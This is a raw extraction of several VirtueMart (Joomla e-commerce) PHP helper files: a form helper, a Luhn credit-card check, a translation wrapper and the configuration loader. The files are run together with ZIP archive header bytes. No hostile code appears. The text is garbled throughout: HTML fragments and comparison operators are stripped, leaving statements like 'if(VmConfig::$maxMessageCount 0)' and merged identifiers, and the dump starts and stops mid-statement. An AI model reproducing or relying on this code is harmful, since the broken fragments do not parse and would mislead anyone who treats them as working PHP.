      '; $html .= $this->displayFoldersWriteAble(); $html .= $this->displayHidden(); // $html .= ''; return $html; } /** * child classes can add their own options and you can get them with this function * * @param array $optionsarray Allowed values are $this->_actions and $this->_attributes */ private function getOptions($optionsarray){ $options=array(); foreach($optionsarray as $optionName=>$langkey){ $options[] = JHTML::_('select.option', $optionName, JText::_( $langkey ) ); } return $options; } /** * Just for creating simpel rows * * @author Max Milbers * @param string $descr * @param string $name */ private function displayRow($descr, $name,$readonly=''){ $html = ' '.JText::_($descr).' '; return $html; } /** * renders the hiddenfields added in the layout before (used to make the displayFileHandle reusable) * @author Max Milbers */ private function displayHidden(){ $html=''; foreach($this->_hidden as $k=>$v){ $html .= ''; } return $html; } } PKs>\&GHH%com_virtuemart/helpers/creditcard.phpnuW+Anumber = self::_strtonum($cardnum); /* if(!$this->detectType($this->number)) { $this->errno = CC_ETYPE; $d['error'] = $this->errno; return false; } */ if (empty($this->number) || !self::mod10($this->number)) { //JError::raiseWarning('', JText::_('COM_VIRTUEMART_CC_ENUMBER')); // $this->errno = CC_ENUMBER; // $d['error'] = $this->errno; return false; } return true; } /* * _strtonum private method * return formated string - only digits */ function _strtonum($string) { $nstr = ""; for ($i = 0; $i < strlen($string); $i++) { if (!is_numeric($string{$i})) continue; $nstr = "$nstr" . $string{$i}; } return $nstr; } /* * mod10 method - Luhn check digit algorithm * return 0 if true and !0 if false */ function mod10($card_number) { $digit_array = array(); $cnt = 0; //Reverse the card number $card_temp = strrev($card_number); //Multiple every other number by 2 then ( even placement ) //Add the digits and place in an array for ($i = 1; $i <= strlen($card_temp) - 1; $i = $i + 2) { //multiply every other digit by 2 $t = substr($card_temp, $i, 1); $t = $t * 2; //if there are more than one digit in the //result of multipling by two ex: 7 * 2 = 14 //then add the two digits together ex: 1 + 4 = 5 if (strlen($t) > 1) { //add the digits together $tmp = 0; //loop through the digits that resulted of //the multiplication by two above and add them //together for ($s = 0; $s < strlen($t); $s++) { $tmp = substr($t, $s, 1) + $tmp; } } else { // result of (* 2) is only one digit long $tmp = $t; } //place the result in an array for later //adding to the odd digits in the credit card number $digit_array [$cnt++] = $tmp; } $tmp = 0; //Add the numbers not doubled earlier ( odd placement ) for ($i = 0; $i <= strlen($card_temp); $i = $i + 2) { $tmp = substr($card_temp, $i, 1) + $tmp; } //Add the earlier doubled and digit-added numbers to the result $result = $tmp + array_sum($digit_array); //Check to make sure that the remainder //of dividing by 10 is 0 by using the modulas //operator return ($result % 10 == 0); } /* * validate_credit_card_cvv * The three- or four-digit number on the back of a credit card (on the front for American Express). * @author Valerie Isaksen */ static function validate_credit_card_cvv($creditcard_type, $cvv, $required = true) { if ($required and empty($cvv)) return false; return true; } /* * validate_credit_card_date * expiration date should be tested * @author Valerie Isaksen */ function validate_credit_card_date($creditcard_type, $month, $year) { return true; } } // pure php no closing tagPKs>\{!com_virtuemart/helpers/vmtext.phpnuW+Aalert(Joomla.vmText._('true));?>')); * will generate an alert message containing 'Default' * it will generate a 'Default' string * * @param string $string The string to translate. * @param mixed $jsSafe Boolean: Make the result javascript safe. * @param boolean $interpretBackSlashes To interpret backslashes (\\=\, \n=carriage return, \t=tabulation) * @param boolean $script To indicate that the string will be push in the javascript language store * * @return string The translated string or the key is $script is true * * @since 11.1 */ public static function _($string, $jsSafe = false, $interpretBackSlashes = true, $script = false) { $lang = JFactory::getLanguage(); if (is_array($jsSafe)) { if (array_key_exists('interpretBackSlashes', $jsSafe)) { $interpretBackSlashes = (boolean) $jsSafe['interpretBackSlashes']; } if (array_key_exists('script', $jsSafe)) { $script = (boolean) $jsSafe['script']; } if (array_key_exists('jsSafe', $jsSafe)) { $jsSafe = (boolean) $jsSafe['jsSafe']; } else { $jsSafe = false; } } if ($script) { self::$strings[$string] = $lang->_($string, $jsSafe, $interpretBackSlashes); return $string; } else { return $lang->_($string, $jsSafe, $interpretBackSlashes); } } /** * Passes a string thru a sprintf. * * Note that this method can take a mixed number of arguments as for the sprintf function. * * The last argument can take an array of options: * * array('jsSafe'=>boolean, 'interpretBackSlashes'=>boolean, 'script'=>boolean) * * where: * * jsSafe is a boolean to generate a javascript safe strings. * interpretBackSlashes is a boolean to interpret backslashes \\->\, \n->new line, \t->tabulation. * script is a boolean to indicate that the string will be push in the javascript language store. * * @param string $string The format string. * * @return string The translated strings or the key if 'script' is true in the array of options. * * @since 11.1 */ public static function sprintf($string) { $lang = JFactory::getLanguage(); $args = func_get_args(); $count = count($args); if ($count > 0) { if (is_array($args[$count - 1])) { $args[0] = $lang->_( $string, array_key_exists('jsSafe', $args[$count - 1]) ? $args[$count - 1]['jsSafe'] : false, array_key_exists('interpretBackSlashes', $args[$count - 1]) ? $args[$count - 1]['interpretBackSlashes'] : true ); if (array_key_exists('script', $args[$count - 1]) && $args[$count - 1]['script']) { self::$strings[$string] = call_user_func_array('sprintf', $args); return $string; } } else { $args[0] = $lang->_($string); } $args[0] = preg_replace('/\[\[%([0-9]+):[^\]]*\]\]/', '%\1$s', $args[0]); return call_user_func_array('sprintf', $args); } return ''; } }PKs>\d7Hˈˈ!com_virtuemart/helpers/config.phpnuW+A jQuery(); // for use of jQuery * Then always use the defined paths below to ensure future stability */ defined('DS') or define('DS', DIRECTORY_SEPARATOR); define( 'JPATH_VM_SITE', JPATH_ROOT.DS.'components'.DS.'com_virtuemart' ); defined('JPATH_VM_ADMINISTRATOR') or define('JPATH_VM_ADMINISTRATOR', JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'); // define( 'JPATH_VM_ADMINISTRATOR', JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart' ); define( 'JPATH_VM_PLUGINS', JPATH_VM_ADMINISTRATOR.DS.'plugins' ); define( 'JPATH_VM_MODULES', JPATH_ROOT.DS.'modules' ); if(version_compare(JVERSION,'1.7.0','ge')) { defined('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_PLATFORM); defined('JVM_VERSION') or define ('JVM_VERSION', 2); } else { if (version_compare (JVERSION, '1.6.0', 'ge')) { defined ('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_LIBRARIES); defined ('JVM_VERSION') or define ('JVM_VERSION', 2); } else { defined ('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_LIBRARIES); defined ('JVM_VERSION') or define ('JVM_VERSION', 1); } } //This number is for obstruction, similar to the prefix jos_ of joomla it should be avoided //to use the standard 7, choose something else between 1 and 99, it is added to the ordernumber as counter // and must not be lowered. defined('VM_ORDER_OFFSET') or define('VM_ORDER_OFFSET',3); require(JPATH_VM_ADMINISTRATOR.DS.'version.php'); JTable::addIncludePath(JPATH_VM_ADMINISTRATOR.DS.'tables'); if (!class_exists ('VmModel')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php'); } if(!class_exists('vRequest')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vrequest.php'); if(!class_exists('vmText')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmtext.php'); if(!class_exists('vmJsApi')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmjsapi.php'); /** * This function shows an info message, the messages gets translated with JText::, * you can overload the function, so that automatically sprintf is taken, when needed. * So this works vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE',$type,$link ) * and also vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE'); * * @author Max Milbers * @param string $publicdescr * @param string $value */ function vmInfo($publicdescr,$value=NULL){ $app = JFactory::getApplication(); $msg = ''; $type = 'info'; if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); $msg = call_user_func_array('sprintf', $args); } } else { // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); //$publicdescr = $lang->_($publicdescr); $msg = JText::_($publicdescr); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $msg = 'Max messages reached'; $type = 'warning'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app ->enqueueMessage($msg,$type); } else { vmTrace('vmInfo Message empty '.$msg); } return $msg; } /** * Informations for the vendors or the administrators of the store, but not for developers like vmdebug * @param $publicdescr * @param null $value */ function vmAdminInfo($publicdescr,$value=NULL){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->isSuperVendor()){ $app = JFactory::getApplication(); if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); VmConfig::$maxMessageCount++; $app ->enqueueMessage(call_user_func_array('sprintf', $args),'info'); } } else { VmConfig::$maxMessageCount++; // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); $publicdescr = $lang->_($publicdescr); $app ->enqueueMessage('Info: '.JText::_($publicdescr),'info'); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $app->enqueueMessage ('Max messages reached', 'info'); }else { return false; } } } } function vmWarn($publicdescr,$value=NULL){ $app = JFactory::getApplication(); $msg = ''; if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); $msg = call_user_func_array('sprintf', $args); } } else { // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); $msg = $lang->_($publicdescr); //$app ->enqueueMessage('Info: '.$publicdescr,'warning'); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $msg = 'Max messages reached'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app ->enqueueMessage($msg,'warning'); return $msg; } else { vmTrace('vmWarn Message empty'); return false; } } /** * Shows an error message, sensible information should be only in the first one, the second one is for non BE users * @author Max Milbers */ function vmError($descr,$publicdescr=''){ $msg = ''; $lang = JFactory::getLanguage(); $descr = $lang->_($descr); $adminmsg = 'vmError: '.$descr; if (empty($descr)) { vmTrace ('vmError message empty'); return; } logInfo($adminmsg,'error'); if(VmConfig::$maxMessageCount< (VmConfig::$maxMessage+5)){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ $msg = $adminmsg; } else { if(!empty($publicdescr)){ $msg = $lang->_($publicdescr); } } } else { if (VmConfig::$maxMessageCount == (VmConfig::$maxMessage+5)) { $msg = 'Max messages reached'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app = JFactory::getApplication(); $app ->enqueueMessage($msg,'error'); return $msg; } return $msg; } /** * A debug dumper for VM, it is only shown to backend users. * * @author Max Milbers * @param unknown_type $descr * @param unknown_type $values */ function vmdebug($debugdescr,$debugvalues=NULL){ if(VMConfig::showDebug() ){ $app = JFactory::getApplication(); if(VmConfig::$maxMessageCount'.print_r(get_class_methods($debugvalues),1).''; $args = func_get_args(); if (count($args) > 1) { // foreach($args as $debugvalue){ for($i=1;$i'.print_r($args[$i],1).'
      '.print_r(get_class_methods($args[$i]),1).''; } } } } if(VmConfig::$echoDebug){ VmConfig::$maxMessageCount++; echo $debugdescr; } else if(VmConfig::$logDebug){ logInfo($debugdescr,'vmdebug'); }else { VmConfig::$maxMessageCount++; $app = JFactory::getApplication(); $app ->enqueueMessage('vmdebug '.$debugdescr.''); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $app->enqueueMessage ('Max messages reached', 'info'); } } } } function vmTrace($notice,$force=FALSE){ if($force || (VMConfig::showDebug() ) ){ //$app = JFactory::getApplication(); // ob_start(); echo '
      ';
      		debug_print_backtrace();
      		echo '
      '; $body = ob_get_contents(); ob_end_clean(); if(VmConfig::$echoDebug){ echo $notice.'
      '.$body.'
      '; } else if(VmConfig::$logDebug){ logInfo($body,$notice); } else { $app = JFactory::getApplication(); $app ->enqueueMessage($notice.' '.$body.' '); } } } function vmRam($notice,$value=NULL){ vmdebug($notice.' used Ram '.round(memory_get_usage(TRUE)/(1024*1024),2).'M ',$value); } function vmRamPeak($notice,$value=NULL){ vmdebug($notice.' memory peak '.round(memory_get_peak_usage(TRUE)/(1024*1024),2).'M ',$value); } function vmSetStartTime($name='current'){ VmConfig::setStartTime($name, microtime(TRUE)); } function vmTime($descr,$name='current'){ if (empty($descr)) { $descr = $name; } $starttime = VmConfig::$_starttime ; if(empty($starttime[$name])){ vmdebug('vmTime: '.$descr.' starting '.microtime(TRUE)); VmConfig::$_starttime[$name] = microtime(TRUE); } else { if ($name == 'current') { vmdebug ('vmTime: ' . $descr . ' time consumed ' . (microtime (TRUE) - $starttime[$name])); VmConfig::$_starttime[$name] = microtime (TRUE); } else { if (empty($descr)) { $descr = $name; } $tmp = 'vmTime: ' . $descr . ': ' . (microtime (TRUE) - $starttime[$name]); vmdebug ($tmp); } } } /** * logInfo * to help debugging Payment notification for example */ function logInfo ($text, $type = 'message') { jimport('joomla.filesystem.file'); $config = JFactory::getConfig(); $log_path = $config->get('log_path', JPATH_ROOT . "/log" ); $file = $log_path . "/" . VmConfig::$logFileName . VmConfig::LOGFILEEXT; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ $show_error_msg = TRUE; } else { $show_error_msg = FALSE; } if (!is_dir($log_path)) { jimport('joomla.filesystem.folder'); if (!JFolder::create($log_path)) { if ($show_error_msg){ $msg = 'Could not create path ' . $log_path . ' to store log information. Check your folder ' . $log_path . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } } if (!is_writable($log_path)) { if ($show_error_msg){ $msg = 'Path ' . $log_path . ' to store log information is not writable. Check your folder ' . $log_path . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } // Initialise variables. $FTPOptions = JClientHelper::getCredentials('ftp'); $head = false; $fsize = false; $amount = 32768; $offset = 0; if (!JFile::exists($file)) { // blank line to prevent information disclose: https://bugs.php.net/bug.php?id=60677 // from Joomla log file $head = "#\n"; $head .= '#'."\n"; } else { $fsize = @ filesize($file); if($FTPOptions['enabled']){ $maxSizeLogFile = 32768; //32kb } else { $maxSizeLogFile = 524288;//1048576; //1MB } if($fsize and $fsize>$maxSizeLogFile){ $disk_free_space = disk_free_space($log_path); if($disk_free_spacetoFormat ('%Y-%m-%d_%H-%M') . VmConfig::LOGFILEEXT; JFile::move($file,$fileRename); $head = "#\n"; $head .= '#'."\n"; } } } if ($FTPOptions['enabled'] == 0){ static $fp; $fp = fopen ($file, 'a+'); if(!empty($offset)){ //not a good solution yet, we just delete the ending and add the other stuff again. ftruncate($fp,$offset); } if ($fp) { if ($head) { fwrite ($fp, $head); } fwrite ($fp, "\n" . JFactory::getDate()->toFormat ('%Y-%m-%d %H:%M:%S')); fwrite ($fp, " ".strtoupper($type) . ' ' . $text); fclose ($fp); } else { if ($show_error_msg){ $msg = 'Could not write in file ' . $file . ' to store log information. Check your file ' . $file . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } } } else { $buffer = JFile::read($file,false,$amount,8192,$offset); if ($head) { $buffer .= $head; } //This can make trouble if people use FTP and get a lot errors. We strongly recommened to get a hosting which works without the FTP help construction $buffer .= "\n" . JFactory::getDate()->toFormat('%Y-%m-%d %H:%M:%S'); $buffer .= " " . strtoupper($type) . ' ' . $text; if (!JFile::write($file, $buffer)) { if ($show_error_msg){ $msg = 'Could not write in file ' . $file . ' to store log information. Check your file ' . $file . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } } return; } /** * The time how long the config in the session is valid. * While configuring the store, you should lower the time to 10 seconds. * Later in a big store it maybe useful to rise this time up to 1 hr. * That would mean that changing something in the config can take up to 1 hour until this change is effecting the shoppers. */ /** * We use this Class STATIC not dynamically ! */ class VmConfig { // instance of class private static $_jpConfig = NULL; public static $_debug = NULL; public static $_starttime = array(); public static $loaded = FALSE; public static $maxMessageCount = 0; public static $maxMessage = 100; public static $echoDebug = FALSE; public static $logDebug = FALSE; public static $logFileName = 'com_virtuemart'; const LOGFILEEXT = '.log.php'; public static $lang = FALSE; public static $vmlang = FALSE; public static $langTag = FALSE; public static $vmlangTag = FALSE; public static $langCount = 0; var $_params = array(); var $_raw = array(); private function __construct() { if(function_exists('mb_ereg_replace')){ mb_regex_encoding('UTF-8'); mb_internal_encoding('UTF-8'); } //if(ini_get('precision')!=15){ ini_set('precision', 15); //We need at least 20 for correct precision if json is using a bigInt ids //But 17 has the best precision, using higher precision adds fantasy numbers to the end //} } static function getStartTime(){ return self::$_starttime; } static function setStartTime($name,$value){ self::$_starttime[$name] = $value; } static function showDebug(){ if(self::$_debug===NULL){ $debug = VmConfig::get('debug_enable','none'); //$debug = 'all'; //this is only needed, when you want to debug THIS file // 1 show debug only to admins if($debug === 'admin' ){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ self::$_debug = TRUE; } else { self::$_debug = FALSE; } } // 2 show debug to anyone else { if ($debug === 'all') { self::$_debug = TRUE; } // else dont show debug else { self::$_debug = FALSE; } } if(self::$_debug){ ini_set('display_errors', '1'); //error_reporting(E_ALL ^ E_STRICT); } else { ini_set('display_errors', '0'); if(version_compare(phpversion(),'5.4.0','<' )){ error_reporting( E_ALL & ~E_STRICT ); } else { error_reporting( E_ALL ^ E_STRICT ); } } } //$nu = $ha; return self::$_debug; } /** * Ensures a certain Memory limit for php (if server supports it) * @author Max Milbers * @param int $minMemory */ static function ensureMemoryLimit($minMemory=0){ if($minMemory === 0) $minMemory = VmConfig::get('minMemory','128M'); $memory_limit = VmConfig::getMemoryLimit(); if($memory_limit<$minMemory) @ini_set( 'memory_limit', $minMemory.'M' ); } /** * Returns the PHP memory limit of the server in MB, regardless the used unit * @author Max Milbers * @return float|int PHP memory limit in MB */ static function getMemoryLimit(){ $iniValue = ini_get('memory_limit'); if($iniValue<=0) return 2048; //We assume 2048MB as unlimited setting $iniValue = strtoupper($iniValue); if(strpos($iniValue,'M')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1); } else if(strpos($iniValue,'K')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1) / 1024.0; } else if(strpos($iniValue,'G')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1) * 1024.0; } else { $memory_limit = (int) $iniValue / 1048576.0; } return $memory_limit; } static function ensureExecutionTime($minTime=0){ if($minTime === 0) $minTime = (int) VmConfig::get('minTime',120); $max_execution_time = self::getExecutionTime(); if((int)$max_execution_time<$minTime) { @ini_set( 'max_execution_time', $minTime ); } } static function getExecutionTime(){ $max_execution_time = (int) ini_get('max_execution_time'); if(empty($max_execution_time)){ $max_execution_time = (int) VmConfig::get('minTime',120); } return $max_execution_time; } /** * loads a language file, the trick for us is that always the config option enableEnglish is tested * and the path are already set and the correct order is used * We use first the english language, then the default * * @author Max Milbers * @static * @param $name * @return bool */ static public function loadJLang($name,$site=false,$tag=0){ $jlang =JFactory::getLanguage(); if(empty($tag))$tag = $jlang->getTag(); $path = $basePath = JPATH_VM_ADMINISTRATOR; if($site){ $path = $basePath = JPATH_VM_SITE; } if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$name.'.ini'; if(!file_exists($testpath)){ $epath = JPATH_ADMINISTRATOR; if($site){ $epath = JPATH_SITE; } } else { $epath = $path; } $jlang->load($name, $epath, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; if($site){ $path = JPATH_SITE; } } $jlang->load($name, $path,$tag,true); return $jlang; } /** * @static * @author Valerie Isaksen * @param $name */ static public function loadModJLang($name){ $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); $path = $basePath = JPATH_VM_MODULES.DS.$name; if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($name, $path, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($name, $path,$tag,true); } /** * Loads the configuration and works as singleton therefore called static. The call using the program cache * is 10 times faster then taking from the session. The session is still approx. 30 times faster then using the file. * The db is 10 times slower then the session. * * Performance: * * Fastest is * Program Cache: 1.5974044799805E-5 * Session Cache: 0.00016094612121582 * * First config db load: 0.00052118301391602 * Parsed and in session: 0.001554012298584 * * After install from file: 0.0040450096130371 * Parsed and in session: 0.0051419734954834 * * * Functions tests if already loaded in program cache, session cache, database and at last the file. * * Load the configuration values from the database into a session variable. * This step is done to prevent accessing the database for every configuration variable lookup. * * @author Max Milbers * @param $force boolean Forces the function to load the config from the db */ static public function loadConfig($force = FALSE,$fresh = FALSE) { if($fresh){ return self::$_jpConfig = new VmConfig(); } vmSetStartTime('loadConfig'); if(!$force){ if(!empty(self::$_jpConfig) && !empty(self::$_jpConfig->_params)){ return self::$_jpConfig; } } self::$_jpConfig = new VmConfig(); if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $configTable = VirtueMartModelConfig::checkConfigTableExists(); $db = JFactory::getDBO(); $app = JFactory::getApplication(); $freshInstall = vRequest::getInt('install',false); if(empty($configTable) or $freshInstall){ if(!$freshInstall){ $installed = VirtueMartModelConfig::checkVirtuemartInstalled(); if(!$installed){ $jlang =JFactory::getLanguage(); $selectedLang = $jlang->getTag(); if(empty($selectedLang)){ $selectedLang = $jlang->setLanguage($selectedLang); } $msg = ''; $q = 'SELECT `element` FROM `#__extensions` WHERE type = "language" and enabled = "1"'; $db->setQuery($q); $knownLangs = $db->loadColumn(); //vmdebug('Selected language '.$selectedLang.' $knownLangs ',$knownLangs); if($app->isAdmin() and !in_array($selectedLang,$knownLangs)){ $link = 'index.php?option=com_installer&view=languages'; $msg = 'Install your selected language '.$selectedLang.' first in joomla language manager, just select then the component VirtueMart under menu "component", to proceed with the installation '; $app->enqueueMessage($msg); } //else { if($app->isSite()){ $link = 'index.php?option=com_virtuemart'; } else { $link = 'index.php?option=com_virtuemart&view=updatesmigration&install=1'; $msg = 'Install Virtuemart first, click on the menu component and select VirtueMart'; } if($app->isSite()){ $link = JURI::root(true).'/administrator/'.$link; } $app->redirect($link,$msg); //} } if($installed){ self::$_jpConfig->installVMconfig(); } } else { self::$_jpConfig->installVMconfig($freshInstall); } } $install = 'no'; if(empty(self::$_jpConfig->_raw)){ $query = ' SELECT `config` FROM `#__virtuemart_configs` WHERE `virtuemart_config_id` = "1";'; $db->setQuery($query); self::$_jpConfig->_raw = $db->loadResult(); if(empty(self::$_jpConfig->_raw)){ if(self::installVMconfig($freshInstall)){ $install = 'yes'; $db->setQuery($query); self::$_jpConfig->_raw = $db->loadResult(); self::$_jpConfig->_params = NULL; } else { $app ->enqueueMessage('Error loading configuration file','Error loading configuration file, please contact the storeowner'); } } } $i = 0; $pair = array(); if (!empty(self::$_jpConfig->_raw)) { $config = explode('|', self::$_jpConfig->_raw); foreach($config as $item){ $item = explode('=',$item); if(!empty($item[1])){ // if($item[0]!=='offline_message' && $item[0]!=='dateformat' ){ if($item[0]!=='offline_message' ){ try { $value = @unserialize($item[1] ); if($value===FALSE){ $app ->enqueueMessage('Exception in loadConfig for unserialize '.$item[0]. ' '.$item[1]); $uri = JFactory::getURI(); $configlink = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $app ->enqueueMessage('To avoid this message, enter your virtuemart config and just save it one time'); } else { $pair[$item[0]] = $value; } }catch (Exception $e) { vmdebug('Exception in loadConfig for unserialize '. $e->getMessage(),$item); } } else { $pair[$item[0]] = unserialize(base64_decode($item[1]) ); } } else { $pair[$item[0]] =''; } } // $pair['sctime'] = microtime(true); self::$_jpConfig->_params = $pair; self::$_jpConfig->_params['sctime'] = microtime(TRUE); //self::$_jpConfig->set('sctime',microtime(TRUE)); //self::setdbLanguageTag(); self::$_jpConfig->_params['vmlang'] = self::setdbLanguageTag(); vmTime('loadConfig db '.$install,'loadConfig'); return self::$_jpConfig; } $app ->enqueueMessage('Attention config is empty'); return self::$_jpConfig; } /* * Set defaut language tag for translatable table * * @author Max Milbers * @return string valid langtag */ static public function setdbLanguageTag() { if (self::$lang) { return self::$lang; } $langs = (array)self::get('active_languages',array()); self::$langCount = count($langs); $siteLang = JRequest::getString('vmlang',FALSE ); //vmdebug('My $siteLang by JRequest::getString("vmlang",JRequest::getString("lang")) '.$siteLang); $params = JComponentHelper::getParams('com_languages'); $defaultLang = $params->get('site', 'en-GB');//use default joomla if( JFactory::getApplication()->isSite()){ if (!$siteLang) { if ( JVM_VERSION===1 ) { // try to find in session lang // this work with joomfish j1.5 (application.data.lang) $session =JFactory::getSession(); $registry = $session->get('registry'); $siteLang = $registry->getValue('application.data.lang') ; } else { jimport('joomla.language.helper'); $siteLang = JFactory::getLanguage()->getTag(); vmdebug('My selected language by JFactory::getLanguage()->getTag() '.$siteLang); } } } else { if(!$siteLang){ $siteLang = $defaultLang; } } if(!in_array($siteLang, $langs)) { if(count($langs)===0){ $siteLang = $defaultLang; } else { $siteLang = $langs[0]; } } self::$vmlangTag = self::$langTag = $siteLang; self::$vmlang = self::$lang = strtolower(strtr($siteLang,'-','_')); vmdebug('$siteLang: '.$siteLang.' self::$_jpConfig->lang '.self::$lang); defined('VMLANG') or define('VMLANG', self::$lang ); return self::$lang; } /** * Find the configuration value for a given key * * @author Max Milbers * @param string $key Key name to lookup * @return Value for the given key name */ static function get($key, $default='',$allow_load=FALSE) { $value = ''; if ($key) { if (empty(self::$_jpConfig->_params) && $allow_load) { self::loadConfig(); } if (!empty(self::$_jpConfig->_params)) { if(array_key_exists($key,self::$_jpConfig->_params) && isset(self::$_jpConfig->_params[$key])){ $value = self::$_jpConfig->_params[$key]; } else { $value = $default; } } else { $value = $default; } } else { $app = JFactory::getApplication(); $app -> enqueueMessage('VmConfig get, empty key given'); } return $value; } static function set($key, $value){ if (empty(self::$_jpConfig->_params)) { self::loadConfig(); } if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ if (!empty(self::$_jpConfig->_params)) { self::$_jpConfig->_params[$key] = $value; } } } /** * For setting params, needs assoc array * @author Max Milbers */ function setParams($params,$replace=FALSE){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ //The idea with the merge was that 3rd party use the config to store stuff there, //But we doubt that anyone does it, because the vm team itself never uses it. //To avoid errors like unserialize hidemainmenu b:0;, we just replace now the config with the data, //Hmm does not work, because people may use config values, not in the config form unset($this->_params['hidemainmenu']); unset($this->_params['pdf_invoice']); // parameter remove and replaced by inv_os unset($this->_params['list_limit']); unset($this->_params['pagination_sequence']); if($replace){ self::$_jpConfig->_params = $params; } else { self::$_jpConfig->_params = array_merge($this->_params,$params); } //self::$_jpConfig->_params = $params; } } /** * Writes the params as string and escape them before * @author Max Milbers */ function toString(){ $raw = ''; $db = JFactory::getDBO(); jimport( 'joomla.utilities.arrayhelper' ); foreach(self::$_jpConfig->_params as $paramkey => $value){ //Texts get broken, when serialized, therefore we do a simple encoding, //btw we need serialize for storing arrays note by Max Milbers // if($paramkey!=='offline_message' && $paramkey!=='dateformat'){ if($paramkey!=='offline_message'){ $raw .= $paramkey.'='.serialize($value).'|'; } else { $raw .= $paramkey.'='.base64_encode(serialize($value)).'|'; } } self::$_jpConfig->_raw = substr($raw,0,-1); return self::$_jpConfig->_raw; } /** * Find the currenlty installed version * * @author RickG * @param boolean $includeDevStatus True to include the development status * @return String of the currently installed version */ static function getInstalledVersion($includeDevStatus=FALSE) { // Get the installed version from the wmVersion class. return vmVersion::$RELEASE; } /** * Return if the used joomla function is j15 * @deprecated use JVM_VERSION instead */ function isJ15(){ return (strpos(JVERSION,'1.5') === 0); } function getCreateConfigTableQuery(){ return "CREATE TABLE IF NOT EXISTS `#__virtuemart_configs` ( `virtuemart_config_id` tinyint(1) unsigned NOT NULL AUTO_INCREMENT, `config` text, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT 0, `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT 0, `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`virtuemart_config_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Holds configuration settings' AUTO_INCREMENT=1 ;"; } /** * Read the file vm_config.dat from the install directory, compose the SQL to write * the config record and store it to the dabase. * * @param $_section Section from the virtuemart_defaults.cfg file to be parsed. Currently, only 'config' is implemented * @return Boolean; true on success, false otherwise * @author Oscar van Eijk */ public function installVMconfig($freshInstall=false){ $_value = self::readConfigFile(FALSE,$freshInstall); if (!$_value) { return FALSE; } $_value = join('|', $_value); self::$_jpConfig->_raw = $_value; if($freshInstall){ return true; } $qry = self::$_jpConfig->getCreateConfigTableQuery(); $_db = JFactory::getDBO(); $_db->setQuery($qry); $_db->query(); $query = 'SELECT `virtuemart_config_id` FROM `#__virtuemart_configs` WHERE `virtuemart_config_id` = 1'; $_db->setQuery( $query ); if 